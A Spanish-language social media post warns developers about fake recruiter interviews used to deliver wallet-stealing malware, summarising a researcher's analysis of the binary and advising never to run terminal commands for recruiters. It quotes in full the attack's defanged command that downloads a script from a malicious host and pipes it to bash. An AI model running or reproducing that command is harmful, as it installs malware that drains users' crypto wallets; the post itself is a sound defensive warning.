Ten cuidado con las entrevistas de trabajo falsas. ahora son uno de los vectores de entrega de malware más limpios.

Mi hermano casi fue víctima esta semana.
el proceso, paso a paso:
> un "reclutador" le envía un mensaje en linkedin
> en realidad han leído su currículum. conocen su pila tecnológica. reservan una entrevista real.
> unas horas antes de la llamada: "¿puedes revisar nuestra página de producto rápidamente antes de que hablemos?"
> visitar el sitio ejecuta esto en segundo plano:
curl -s macos[.]hyperhives[.]net/install | nohup bash &
si escribes tu contraseña cuando te lo pida, se acabó.
un investigador (Darksp33d en Github) reverse-engineered el binario:
> cada cadena de configuración encriptada con 570 funciones personalizadas únicas
> una vez desencriptado: servidor c2 completo, lista de endpoints, y un dsn de seguimiento de errores de Sentry que se vincula con el desarrollador bajo una citación legal
> 276 ids de extensiones de Chrome dirigidas, cubriendo 188 billeteras de criptomonedas
> la superposición de TTP con la "entrevista contagiosa" de DPRK es fuerte
> 9/64 en virustotal. crowdstrike, sophos, malwarebytes, todos lo pasaron por alto
reclutadores reales, currículums reales, slots de entrevista reales, sitio que parece auténtico. una línea de curl vacía drena tus billeteras.
si un "reclutador" alguna vez te pide que ejecutes algo en tu terminal, incluso algo tan inocente como un script de compilación antes de una entrevista técnica, cierra la pestaña.